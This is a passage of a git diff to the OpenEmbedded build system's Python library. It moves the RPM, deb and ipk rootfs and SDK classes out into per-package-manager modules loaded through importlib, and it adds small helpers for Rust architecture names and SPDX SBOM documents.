- bb.note('incremental removed: %s' % ' '.join(pkg_to_remove))
- self.pm.remove(pkg_to_remove)
-
- self.pm.autoremove()
-
- def _create(self):
- pkgs_to_install = self.manifest.parse_initial_manifest()
- rpm_pre_process_cmds = self.d.getVar('RPM_PREPROCESS_COMMANDS')
- rpm_post_process_cmds = self.d.getVar('RPM_POSTPROCESS_COMMANDS')
-
- # update PM index files
- self.pm.write_index()
-
- execute_pre_post_process(self.d, rpm_pre_process_cmds)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- if self.inc_rpm_image_gen == "1":
- self._create_incremental(pkgs_to_install)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- self.pm.update()
-
- pkgs = []
- pkgs_attempt = []
- for pkg_type in pkgs_to_install:
- if pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY:
- pkgs_attempt += pkgs_to_install[pkg_type]
- else:
- pkgs += pkgs_to_install[pkg_type]
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- self.pm.install(pkgs)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- self.pm.install(pkgs_attempt, True)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- self.pm.install_complementary()
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- self._setup_dbg_rootfs(['/etc', '/var/lib/rpm', '/var/cache/dnf', '/var/lib/dnf'])
-
- execute_pre_post_process(self.d, rpm_post_process_cmds)
-
- if self.inc_rpm_image_gen == "1":
- self.pm.backup_packaging_data()
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
-
- @staticmethod
- def _depends_list():
- return ['DEPLOY_DIR_RPM', 'INC_RPM_IMAGE_GEN', 'RPM_PREPROCESS_COMMANDS',
- 'RPM_POSTPROCESS_COMMANDS', 'RPM_PREFER_ELF_ARCH']
-
- def _get_delayed_postinsts(self):
- postinst_dir = self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/rpm-postinsts")
- if os.path.isdir(postinst_dir):
- files = os.listdir(postinst_dir)
- for f in files:
- bb.note('Delayed package scriptlet: %s' % f)
- return files
-
- return None
-
- def _save_postinsts(self):
- # this is just a stub. For RPM, the failed postinstalls are
- # already saved in /etc/rpm-postinsts
- pass
-
- def _log_check(self):
- self._log_check_warn()
- self._log_check_error()
-
- def _cleanup(self):
- if bb.utils.contains("IMAGE_FEATURES", "package-management", True, False, self.d):
- self.pm._invoke_dnf(["clean", "all"])
-
-
-class DpkgOpkgRootfs(Rootfs):
- def __init__(self, d, progress_reporter=None, logcatcher=None):
- super(DpkgOpkgRootfs, self).__init__(d, progress_reporter, logcatcher)
-
- def _get_pkgs_postinsts(self, status_file):
- def _get_pkg_depends_list(pkg_depends):
- pkg_depends_list = []
- # filter version requirements like libc (>= 1.1)
- for dep in pkg_depends.split(', '):
- m_dep = re.match(r"^(.*) \(.*\)$", dep)
- if m_dep:
- dep = m_dep.group(1)
- pkg_depends_list.append(dep)
-
- return pkg_depends_list
-
- pkgs = {}
- pkg_name = ""
- pkg_status_match = False
- pkg_depends = ""
-
- with open(status_file) as status:
- data = status.read()
- status.close()
- for line in data.split('\n'):
- m_pkg = re.match(r"^Package: (.*)", line)
- m_status = re.match(r"^Status:.*unpacked", line)
- m_depends = re.match(r"^Depends: (.*)", line)
-
- #Only one of m_pkg, m_status or m_depends is not None at time
- #If m_pkg is not None, we started a new package
- if m_pkg is not None:
- #Get Package name
- pkg_name = m_pkg.group(1)
- #Make sure we reset other variables
- pkg_status_match = False
- pkg_depends = ""
- elif m_status is not None:
- #New status matched
- pkg_status_match = True
- elif m_depends is not None:
- #New depends macthed
- pkg_depends = m_depends.group(1)
- else:
- pass
-
- #Now check if we can process package depends and postinst
- if "" != pkg_name and pkg_status_match:
- pkgs[pkg_name] = _get_pkg_depends_list(pkg_depends)
- else:
- #Not enough information
- pass
-
- # remove package dependencies not in postinsts
- pkg_names = list(pkgs.keys())
- for pkg_name in pkg_names:
- deps = pkgs[pkg_name][:]
-
- for d in deps:
- if d not in pkg_names:
- pkgs[pkg_name].remove(d)
-
- return pkgs
-
- def _get_delayed_postinsts_common(self, status_file):
- def _dep_resolve(graph, node, resolved, seen):
- seen.append(node)
-
- for edge in graph[node]:
- if edge not in resolved:
- if edge in seen:
- raise RuntimeError("Packages %s and %s have " \
- "a circular dependency in postinsts scripts." \
- % (node, edge))
- _dep_resolve(graph, edge, resolved, seen)
-
- resolved.append(node)
-
- pkg_list = []
-
- pkgs = None
- if not self.d.getVar('PACKAGE_INSTALL').strip():
- bb.note("Building empty image")
- else:
- pkgs = self._get_pkgs_postinsts(status_file)
- if pkgs:
- root = "__packagegroup_postinst__"
- pkgs[root] = list(pkgs.keys())
- _dep_resolve(pkgs, root, pkg_list, [])
- pkg_list.remove(root)
-
- if len(pkg_list) == 0:
- return None
-
- return pkg_list
-
- def _save_postinsts_common(self, dst_postinst_dir, src_postinst_dir):
- if bb.utils.contains("IMAGE_FEATURES", "package-management",
- True, False, self.d):
- return
- num = 0
- for p in self._get_delayed_postinsts():
- bb.utils.mkdirhier(dst_postinst_dir)
-
- if os.path.exists(os.path.join(src_postinst_dir, p + ".postinst")):
- shutil.copy(os.path.join(src_postinst_dir, p + ".postinst"),
- os.path.join(dst_postinst_dir, "%03d-%s" % (num, p)))
-
- num += 1
-
-class DpkgRootfs(DpkgOpkgRootfs):
- def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
- super(DpkgRootfs, self).__init__(d, progress_reporter, logcatcher)
- self.log_check_regex = '^E:'
- self.log_check_expected_regexes = \
- [
- "^E: Unmet dependencies."
- ]
-
- bb.utils.remove(self.image_rootfs, True)
- bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
- self.manifest = DpkgManifest(d, manifest_dir)
- self.pm = DpkgPM(d, d.getVar('IMAGE_ROOTFS'),
- d.getVar('PACKAGE_ARCHS'),
- d.getVar('DPKG_ARCH'))
-
-
- def _create(self):
- pkgs_to_install = self.manifest.parse_initial_manifest()
- deb_pre_process_cmds = self.d.getVar('DEB_PREPROCESS_COMMANDS')
- deb_post_process_cmds = self.d.getVar('DEB_POSTPROCESS_COMMANDS')
-
- alt_dir = self.d.expand("${IMAGE_ROOTFS}/var/lib/dpkg/alternatives")
- bb.utils.mkdirhier(alt_dir)
-
- # update PM index files
- self.pm.write_index()
-
- execute_pre_post_process(self.d, deb_pre_process_cmds)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
- # Don't support incremental, so skip that
- self.progress_reporter.next_stage()
-
- self.pm.update()
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- for pkg_type in self.install_order:
- if pkg_type in pkgs_to_install:
- self.pm.install(pkgs_to_install[pkg_type],
- [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
- self.pm.fix_broken_dependencies()
-
- if self.progress_reporter:
- # Don't support attemptonly, so skip that
- self.progress_reporter.next_stage()
- self.progress_reporter.next_stage()
-
- self.pm.install_complementary()
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- self._setup_dbg_rootfs(['/var/lib/dpkg'])
-
- self.pm.fix_broken_dependencies()
-
- self.pm.mark_packages("installed")
-
- self.pm.run_pre_post_installs()
-
- execute_pre_post_process(self.d, deb_post_process_cmds)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- @staticmethod
- def _depends_list():
- return ['DEPLOY_DIR_DEB', 'DEB_SDK_ARCH', 'APTCONF_TARGET', 'APT_ARGS', 'DPKG_ARCH', 'DEB_PREPROCESS_COMMANDS', 'DEB_POSTPROCESS_COMMANDS']
-
- def _get_delayed_postinsts(self):
- status_file = self.image_rootfs + "/var/lib/dpkg/status"
- return self._get_delayed_postinsts_common(status_file)
-
- def _save_postinsts(self):
- dst_postinst_dir = self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/deb-postinsts")
- src_postinst_dir = self.d.expand("${IMAGE_ROOTFS}/var/lib/dpkg/info")
- return self._save_postinsts_common(dst_postinst_dir, src_postinst_dir)
-
- def _log_check(self):
- self._log_check_warn()
- self._log_check_error()
-
- def _cleanup(self):
- pass
-
-
-class OpkgRootfs(DpkgOpkgRootfs):
- def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
- super(OpkgRootfs, self).__init__(d, progress_reporter, logcatcher)
- self.log_check_regex = '(exit 1|Collected errors)'
-
- self.manifest = OpkgManifest(d, manifest_dir)
- self.opkg_conf = self.d.getVar("IPKGCONF_TARGET")
- self.pkg_archs = self.d.getVar("ALL_MULTILIB_PACKAGE_ARCHS")
-
- self.inc_opkg_image_gen = self.d.getVar('INC_IPK_IMAGE_GEN') or ""
- if self._remove_old_rootfs():
- bb.utils.remove(self.image_rootfs, True)
- self.pm = OpkgPM(d,
- self.image_rootfs,
- self.opkg_conf,
- self.pkg_archs)
- else:
- self.pm = OpkgPM(d,
- self.image_rootfs,
- self.opkg_conf,
- self.pkg_archs)
- self.pm.recover_packaging_data()
-
- bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
-
- def _prelink_file(self, root_dir, filename):
- bb.note('prelink %s in %s' % (filename, root_dir))
- prelink_cfg = oe.path.join(root_dir,
- self.d.expand('${sysconfdir}/prelink.conf'))
- if not os.path.exists(prelink_cfg):
- shutil.copy(self.d.expand('${STAGING_DIR_NATIVE}${sysconfdir_native}/prelink.conf'),
- prelink_cfg)
-
- cmd_prelink = self.d.expand('${STAGING_DIR_NATIVE}${sbindir_native}/prelink')
- self._exec_shell_cmd([cmd_prelink,
- '--root',
- root_dir,
- '-amR',
- '-N',
- '-c',
- self.d.expand('${sysconfdir}/prelink.conf')])
-
- '''
- Compare two files with the same key twice to see if they are equal.
- If they are not equal, it means they are duplicated and come from
- different packages.
- 1st: Comapre them directly;
- 2nd: While incremental image creation is enabled, one of the
- files could be probaly prelinked in the previous image
- creation and the file has been changed, so we need to
- prelink the other one and compare them.
- '''
- def _file_equal(self, key, f1, f2):
-
- # Both of them are not prelinked
- if filecmp.cmp(f1, f2):
- return True
-
- if bb.data.inherits_class('image-prelink', self.d):
- if self.image_rootfs not in f1:
- self._prelink_file(f1.replace(key, ''), f1)
-
- if self.image_rootfs not in f2:
- self._prelink_file(f2.replace(key, ''), f2)
-
- # Both of them are prelinked
- if filecmp.cmp(f1, f2):
- return True
-
- # Not equal
- return False
-
- """
- This function was reused from the old implementation.
- See commit: "image.bbclass: Added variables for multilib support." by
- Lianhao Lu.
- """
- def _multilib_sanity_test(self, dirs):
-
- allow_replace = self.d.getVar("MULTILIBRE_ALLOW_REP")
- if allow_replace is None:
- allow_replace = ""
-
- allow_rep = re.compile(re.sub(r"\|$", r"", allow_replace))
- error_prompt = "Multilib check error:"
-
- files = {}
- for dir in dirs:
- for root, subfolders, subfiles in os.walk(dir):
- for file in subfiles:
- item = os.path.join(root, file)
- key = str(os.path.join("/", os.path.relpath(item, dir)))
-
- valid = True
- if key in files:
- #check whether the file is allow to replace
- if allow_rep.match(key):
- valid = True
- else:
- if os.path.exists(files[key]) and \
- os.path.exists(item) and \
- not self._file_equal(key, files[key], item):
- valid = False
- bb.fatal("%s duplicate files %s %s is not the same\n" %
- (error_prompt, item, files[key]))
-
- #pass the check, add to list
- if valid:
- files[key] = item
-
- def _multilib_test_install(self, pkgs):
- ml_temp = self.d.getVar("MULTILIB_TEMP_ROOTFS")
- bb.utils.mkdirhier(ml_temp)
-
- dirs = [self.image_rootfs]
-
- for variant in self.d.getVar("MULTILIB_VARIANTS").split():
- ml_target_rootfs = os.path.join(ml_temp, variant)
-
- bb.utils.remove(ml_target_rootfs, True)
-
- ml_opkg_conf = os.path.join(ml_temp,
- variant + "-" + os.path.basename(self.opkg_conf))
-
- ml_pm = OpkgPM(self.d, ml_target_rootfs, ml_opkg_conf, self.pkg_archs, prepare_index=False)
-
- ml_pm.update()
- ml_pm.install(pkgs)
-
- dirs.append(ml_target_rootfs)
-
- self._multilib_sanity_test(dirs)
-
- '''
- While ipk incremental image generation is enabled, it will remove the
- unneeded pkgs by comparing the old full manifest in previous existing
- image and the new full manifest in the current image.
- '''
- def _remove_extra_packages(self, pkgs_initial_install):
- if self.inc_opkg_image_gen == "1":
- # Parse full manifest in previous existing image creation session
- old_full_manifest = self.manifest.parse_full_manifest()
-
- # Create full manifest for the current image session, the old one
- # will be replaced by the new one.
- self.manifest.create_full(self.pm)
-
- # Parse full manifest in current image creation session
- new_full_manifest = self.manifest.parse_full_manifest()
-
- pkg_to_remove = list()
- for pkg in old_full_manifest:
- if pkg not in new_full_manifest:
- pkg_to_remove.append(pkg)
-
- if pkg_to_remove != []:
- bb.note('decremental removed: %s' % ' '.join(pkg_to_remove))
- self.pm.remove(pkg_to_remove)
-
- '''
- Compare with previous existing image creation, if some conditions
- triggered, the previous old image should be removed.
- The conditions include any of 'PACKAGE_EXCLUDE, NO_RECOMMENDATIONS
- and BAD_RECOMMENDATIONS' has been changed.
- '''
- def _remove_old_rootfs(self):
- if self.inc_opkg_image_gen != "1":
- return True
-
- vars_list_file = self.d.expand('${T}/vars_list')
-
- old_vars_list = ""
- if os.path.exists(vars_list_file):
- old_vars_list = open(vars_list_file, 'r+').read()
-
- new_vars_list = '%s:%s:%s\n' % \
- ((self.d.getVar('BAD_RECOMMENDATIONS') or '').strip(),
- (self.d.getVar('NO_RECOMMENDATIONS') or '').strip(),
- (self.d.getVar('PACKAGE_EXCLUDE') or '').strip())
- open(vars_list_file, 'w+').write(new_vars_list)
-
- if old_vars_list != new_vars_list:
- return True
-
- return False
-
- def _create(self):
- pkgs_to_install = self.manifest.parse_initial_manifest()
- opkg_pre_process_cmds = self.d.getVar('OPKG_PREPROCESS_COMMANDS')
- opkg_post_process_cmds = self.d.getVar('OPKG_POSTPROCESS_COMMANDS')
-
- # update PM index files
- self.pm.write_index()
-
- execute_pre_post_process(self.d, opkg_pre_process_cmds)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
- # Steps are a bit different in order, skip next
- self.progress_reporter.next_stage()
-
- self.pm.update()
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- if self.inc_opkg_image_gen == "1":
- self._remove_extra_packages(pkgs_to_install)
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- for pkg_type in self.install_order:
- if pkg_type in pkgs_to_install:
- # For multilib, we perform a sanity test before final install
- # If sanity test fails, it will automatically do a bb.fatal()
- # and the installation will stop
- if pkg_type == Manifest.PKG_TYPE_MULTILIB:
- self._multilib_test_install(pkgs_to_install[pkg_type])
-
- self.pm.install(pkgs_to_install[pkg_type],
- [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- self.pm.install_complementary()
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- opkg_lib_dir = self.d.getVar('OPKGLIBDIR')
- opkg_dir = os.path.join(opkg_lib_dir, 'opkg')
- self._setup_dbg_rootfs([opkg_dir])
-
- execute_pre_post_process(self.d, opkg_post_process_cmds)
-
- if self.inc_opkg_image_gen == "1":
- self.pm.backup_packaging_data()
-
- if self.progress_reporter:
- self.progress_reporter.next_stage()
-
- @staticmethod
- def _depends_list():
- return ['IPKGCONF_SDK', 'IPK_FEED_URIS', 'DEPLOY_DIR_IPK', 'IPKGCONF_TARGET', 'INC_IPK_IMAGE_GEN', 'OPKG_ARGS', 'OPKGLIBDIR', 'OPKG_PREPROCESS_COMMANDS', 'OPKG_POSTPROCESS_COMMANDS', 'OPKGLIBDIR']
-
- def _get_delayed_postinsts(self):
- status_file = os.path.join(self.image_rootfs,
- self.d.getVar('OPKGLIBDIR').strip('/'),
- "opkg", "status")
- return self._get_delayed_postinsts_common(status_file)
-
- def _save_postinsts(self):
- dst_postinst_dir = self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/ipk-postinsts")
- src_postinst_dir = self.d.expand("${IMAGE_ROOTFS}${OPKGLIBDIR}/opkg/info")
- return self._save_postinsts_common(dst_postinst_dir, src_postinst_dir)
-
- def _log_check(self):
- self._log_check_warn()
- self._log_check_error()
-
- def _cleanup(self):
- self.pm.remove_lists()
-
def get_class_for_type(imgtype):
- return {"rpm": RpmRootfs,
- "ipk": OpkgRootfs,
- "deb": DpkgRootfs}[imgtype]
+ import importlib
+ mod = importlib.import_module('oe.package_manager.' + imgtype + '.rootfs')
+ return mod.PkgRootfs
def variable_depends(d, manifest_dir=None):
img_type = d.getVar('IMAGE_PKGTYPE')
@@ -972,13 +374,9 @@ def create_rootfs(d, manifest_dir=None, progress_reporter=None, logcatcher=None)
env_bkp = os.environ.copy()
img_type = d.getVar('IMAGE_PKGTYPE')
- if img_type == "rpm":
- RpmRootfs(d, manifest_dir, progress_reporter, logcatcher).create()
- elif img_type == "ipk":
- OpkgRootfs(d, manifest_dir, progress_reporter, logcatcher).create()
- elif img_type == "deb":
- DpkgRootfs(d, manifest_dir, progress_reporter, logcatcher).create()
+ cls = get_class_for_type(img_type)
+ cls(d, manifest_dir, progress_reporter, logcatcher).create()
os.environ.clear()
os.environ.update(env_bkp)
@@ -988,12 +386,10 @@ def image_list_installed_packages(d, rootfs_dir=None):
rootfs_dir = d.getVar('IMAGE_ROOTFS')
img_type = d.getVar('IMAGE_PKGTYPE')
- if img_type == "rpm":
- return RpmPkgsList(d, rootfs_dir).list_pkgs()
- elif img_type == "ipk":
- return OpkgPkgsList(d, rootfs_dir, d.getVar("IPKGCONF_TARGET")).list_pkgs()
- elif img_type == "deb":
- return DpkgPkgsList(d, rootfs_dir).list_pkgs()
+
+ import importlib
+ cls = importlib.import_module('oe.package_manager.' + img_type)
+ return cls.PMPkgsList(d, rootfs_dir).list_pkgs()
if __name__ == "__main__":
"""
diff --git a/meta/lib/oe/rust.py b/meta/lib/oe/rust.py
new file mode 100644
index 0000000000..ec70b34805
--- /dev/null
+++ b/meta/lib/oe/rust.py
@@ -0,0 +1,5 @@
+# Handle mismatches between `uname -m`-style output and Rust's arch names
+def arch_to_rust_arch(arch):
+ if arch == "ppc64le":
+ return "powerpc64le"
+ return arch
diff --git a/meta/lib/oe/sbom.py b/meta/lib/oe/sbom.py
new file mode 100644
index 0000000000..3372f13a9d
--- /dev/null
+++ b/meta/lib/oe/sbom.py
@@ -0,0 +1,78 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import collections
+
+DepRecipe = collections.namedtuple("DepRecipe", ("doc", "doc_sha1", "recipe"))
+DepSource = collections.namedtuple("DepSource", ("doc", "doc_sha1", "recipe", "file"))
+
+
+def get_recipe_spdxid(d):
+ return "SPDXRef-%s-%s" % ("Recipe", d.getVar("PN"))
+
+
+def get_package_spdxid(pkg):
+ return "SPDXRef-Package-%s" % pkg
+
+
+def get_source_file_spdxid(d, idx):
+ return "SPDXRef-SourceFile-%s-%d" % (d.getVar("PN"), idx)
+
+
+def get_packaged_file_spdxid(pkg, idx):
+ return "SPDXRef-PackagedFile-%s-%d" % (pkg, idx)
+
+
+def get_image_spdxid(img):
+ return "SPDXRef-Image-%s" % img
+
+
+def get_sdk_spdxid(sdk):
+ return "SPDXRef-SDK-%s" % sdk
+
+
+def write_doc(d, spdx_doc, subdir, spdx_deploy=None):
+ from pathlib import Path
+
+ if spdx_deploy is None:
+ spdx_deploy = Path(d.getVar("SPDXDEPLOY"))
+
+ dest = spdx_deploy / subdir / (spdx_doc.name + ".spdx.json")
+ dest.parent.mkdir(exist_ok=True, parents=True)
+ with dest.open("wb") as f:
+ doc_sha1 = spdx_doc.to_json(f, sort_keys=True)
+
+ l = spdx_deploy / "by-namespace" / spdx_doc.documentNamespace.replace("/", "_")
+ l.parent.mkdir(exist_ok=True, parents=True)
+ l.symlink_to(os.path.relpath(dest, l.parent))
+
+ return doc_sha1
+
+
+def read_doc(fn):
+ import hashlib
+ import oe.spdx
+ import io
+ import contextlib
+
+ @contextlib.contextmanager
+ def get_file():
+ if isinstance(fn, io.IOBase):
+ yield fn
+ else:
+ with fn.open("rb") as f:
+ yield f
+
+ with get_file() as f:
+ sha1 = hashlib.sha1()
+ while True:
+ chunk = f.read(4096)
+ if not chunk:
+ break
+ sha1.update(chunk)
+
+ f.seek(0)
+ doc = oe.spdx.SPDXDocument.from_json(f)
+
+ return (doc, sha1.hexdigest())
diff --git a/meta/lib/oe/sdk.py b/meta/lib/oe/sdk.py
index d02a274812..27347667e8 100644
--- a/meta/lib/oe/sdk.py
+++ b/meta/lib/oe/sdk.py
@@ -7,8 +7,6 @@ from oe.utils import execute_pre_post_process
from oe.manifest import *
from oe.package_manager import *
import os
-import shutil
-import glob
import traceback
class Sdk(object, metaclass=ABCMeta):
@@ -110,283 +108,6 @@ class Sdk(object, metaclass=ABCMeta):
pass
-class RpmSdk(Sdk):
- def __init__(self, d, manifest_dir=None, rpm_workdir="oe-sdk-repo"):
- super(RpmSdk, self).__init__(d, manifest_dir)
-
- self.target_manifest = RpmManifest(d, self.manifest_dir,
- Manifest.MANIFEST_TYPE_SDK_TARGET)
- self.host_manifest = RpmManifest(d, self.manifest_dir,
- Manifest.MANIFEST_TYPE_SDK_HOST)
-
- rpm_repo_workdir = "oe-sdk-repo"
- if "sdk_ext" in d.getVar("BB_RUNTASK"):
- rpm_repo_workdir = "oe-sdk-ext-repo"
-
- self.target_pm = RpmPM(d,
- self.sdk_target_sysroot,
- self.d.getVar('TARGET_VENDOR'),
- 'target',
- rpm_repo_workdir=rpm_repo_workdir
- )
-
- self.host_pm = RpmPM(d,
- self.sdk_host_sysroot,
- self.d.getVar('SDK_VENDOR'),
- 'host',
- "SDK_PACKAGE_ARCHS",
- "SDK_OS",
- rpm_repo_workdir=rpm_repo_workdir
- )
-
- def _populate_sysroot(self, pm, manifest):
- pkgs_to_install = manifest.parse_initial_manifest()
-
- pm.create_configs()
- pm.write_index()
- pm.update()
-
- pkgs = []
- pkgs_attempt = []
- for pkg_type in pkgs_to_install:
- if pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY:
- pkgs_attempt += pkgs_to_install[pkg_type]
- else:
- pkgs += pkgs_to_install[pkg_type]
-
- pm.install(pkgs)
-
- pm.install(pkgs_attempt, True)
-
- def _populate(self):
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_PRE_TARGET_COMMAND"))
-
- bb.note("Installing TARGET packages")
- self._populate_sysroot(self.target_pm, self.target_manifest)
-
- self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
-
- self.target_pm.run_intercepts(populate_sdk='target')
-
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
-
- if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
- self.target_pm.remove_packaging_data()
-
- bb.note("Installing NATIVESDK packages")
- self._populate_sysroot(self.host_pm, self.host_manifest)
- self.install_locales(self.host_pm)
-
- self.host_pm.run_intercepts(populate_sdk='host')
-
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
-
- if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
- self.host_pm.remove_packaging_data()
-
- # Move host RPM library data
- native_rpm_state_dir = os.path.join(self.sdk_output,
- self.sdk_native_path,
- self.d.getVar('localstatedir_nativesdk').strip('/'),
- "lib",
- "rpm"
- )
- self.mkdirhier(native_rpm_state_dir)
- for f in glob.glob(os.path.join(self.sdk_output,
- "var",
- "lib",
- "rpm",
- "*")):
- self.movefile(f, native_rpm_state_dir)
-
- self.remove(os.path.join(self.sdk_output, "var"), True)
-
- # Move host sysconfig data
- native_sysconf_dir = os.path.join(self.sdk_output,
- self.sdk_native_path,
- self.d.getVar('sysconfdir',
- True).strip('/'),
- )
- self.mkdirhier(native_sysconf_dir)
- for f in glob.glob(os.path.join(self.sdk_output, "etc", "rpm*")):
- self.movefile(f, native_sysconf_dir)
- for f in glob.glob(os.path.join(self.sdk_output, "etc", "dnf", "*")):
- self.movefile(f, native_sysconf_dir)
- self.remove(os.path.join(self.sdk_output, "etc"), True)
-
-
-class OpkgSdk(Sdk):
- def __init__(self, d, manifest_dir=None):
- super(OpkgSdk, self).__init__(d, manifest_dir)
-
- self.target_conf = self.d.getVar("IPKGCONF_TARGET")
- self.host_conf = self.d.getVar("IPKGCONF_SDK")
-
- self.target_manifest = OpkgManifest(d, self.manifest_dir,
- Manifest.MANIFEST_TYPE_SDK_TARGET)
- self.host_manifest = OpkgManifest(d, self.manifest_dir,
- Manifest.MANIFEST_TYPE_SDK_HOST)
-
- ipk_repo_workdir = "oe-sdk-repo"
- if "sdk_ext" in d.getVar("BB_RUNTASK"):
- ipk_repo_workdir = "oe-sdk-ext-repo"
-
- self.target_pm = OpkgPM(d, self.sdk_target_sysroot, self.target_conf,
- self.d.getVar("ALL_MULTILIB_PACKAGE_ARCHS"),
- ipk_repo_workdir=ipk_repo_workdir)
-
- self.host_pm = OpkgPM(d, self.sdk_host_sysroot, self.host_conf,
- self.d.getVar("SDK_PACKAGE_ARCHS"),
- ipk_repo_workdir=ipk_repo_workdir)
-
- def _populate_sysroot(self, pm, manifest):
- pkgs_to_install = manifest.parse_initial_manifest()
-
- if (self.d.getVar('BUILD_IMAGES_FROM_FEEDS') or "") != "1":
- pm.write_index()
-
- pm.update()
-
- for pkg_type in self.install_order:
- if pkg_type in pkgs_to_install:
- pm.install(pkgs_to_install[pkg_type],
- [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
-
- def _populate(self):
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_PRE_TARGET_COMMAND"))
-
- bb.note("Installing TARGET packages")
- self._populate_sysroot(self.target_pm, self.target_manifest)
-
- self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
-
- self.target_pm.run_intercepts(populate_sdk='target')
-
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
-
- if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
- self.target_pm.remove_packaging_data()
-
- bb.note("Installing NATIVESDK packages")
- self._populate_sysroot(self.host_pm, self.host_manifest)
- self.install_locales(self.host_pm)
-
- self.host_pm.run_intercepts(populate_sdk='host')
-
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
-
- if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
- self.host_pm.remove_packaging_data()
-
- target_sysconfdir = os.path.join(self.sdk_target_sysroot, self.sysconfdir)
- host_sysconfdir = os.path.join(self.sdk_host_sysroot, self.sysconfdir)
-
- self.mkdirhier(target_sysconfdir)
- shutil.copy(self.target_conf, target_sysconfdir)
- os.chmod(os.path.join(target_sysconfdir,
- os.path.basename(self.target_conf)), 0o644)
-
- self.mkdirhier(host_sysconfdir)
- shutil.copy(self.host_conf, host_sysconfdir)
- os.chmod(os.path.join(host_sysconfdir,
- os.path.basename(self.host_conf)), 0o644)
-
- native_opkg_state_dir = os.path.join(self.sdk_output, self.sdk_native_path,
- self.d.getVar('localstatedir_nativesdk').strip('/'),
- "lib", "opkg")
- self.mkdirhier(native_opkg_state_dir)
- for f in glob.glob(os.path.join(self.sdk_output, "var", "lib", "opkg", "*")):
- self.movefile(f, native_opkg_state_dir)
-
- self.remove(os.path.join(self.sdk_output, "var"), True)
-
-
-class DpkgSdk(Sdk):
- def __init__(self, d, manifest_dir=None):
- super(DpkgSdk, self).__init__(d, manifest_dir)
-
- self.target_conf_dir = os.path.join(self.d.getVar("APTCONF_TARGET"), "apt")
- self.host_conf_dir = os.path.join(self.d.getVar("APTCONF_TARGET"), "apt-sdk")
-
- self.target_manifest = DpkgManifest(d, self.manifest_dir,
- Manifest.MANIFEST_TYPE_SDK_TARGET)
- self.host_manifest = DpkgManifest(d, self.manifest_dir,
- Manifest.MANIFEST_TYPE_SDK_HOST)
-
- deb_repo_workdir = "oe-sdk-repo"
- if "sdk_ext" in d.getVar("BB_RUNTASK"):
- deb_repo_workdir = "oe-sdk-ext-repo"
-
- self.target_pm = DpkgPM(d, self.sdk_target_sysroot,
- self.d.getVar("PACKAGE_ARCHS"),
- self.d.getVar("DPKG_ARCH"),
- self.target_conf_dir,
- deb_repo_workdir=deb_repo_workdir)
-
- self.host_pm = DpkgPM(d, self.sdk_host_sysroot,
- self.d.getVar("SDK_PACKAGE_ARCHS"),
- self.d.getVar("DEB_SDK_ARCH"),
- self.host_conf_dir,
- deb_repo_workdir=deb_repo_workdir)
-
- def _copy_apt_dir_to(self, dst_dir):
- staging_etcdir_native = self.d.getVar("STAGING_ETCDIR_NATIVE")
-
- self.remove(dst_dir, True)
-
- shutil.copytree(os.path.join(staging_etcdir_native, "apt"), dst_dir)
-
- def _populate_sysroot(self, pm, manifest):
- pkgs_to_install = manifest.parse_initial_manifest()
-
- pm.write_index()
- pm.update()
-
- for pkg_type in self.install_order:
- if pkg_type in pkgs_to_install:
- pm.install(pkgs_to_install[pkg_type],
- [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
-
- def _populate(self):
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_PRE_TARGET_COMMAND"))
-
- bb.note("Installing TARGET packages")
- self._populate_sysroot(self.target_pm, self.target_manifest)
-
- self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
-
- self.target_pm.run_intercepts(populate_sdk='target')
-
- execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
-
- self._copy_apt_dir_to(os.path.join(self.sdk_target_sysroot, "etc", "apt"))
-
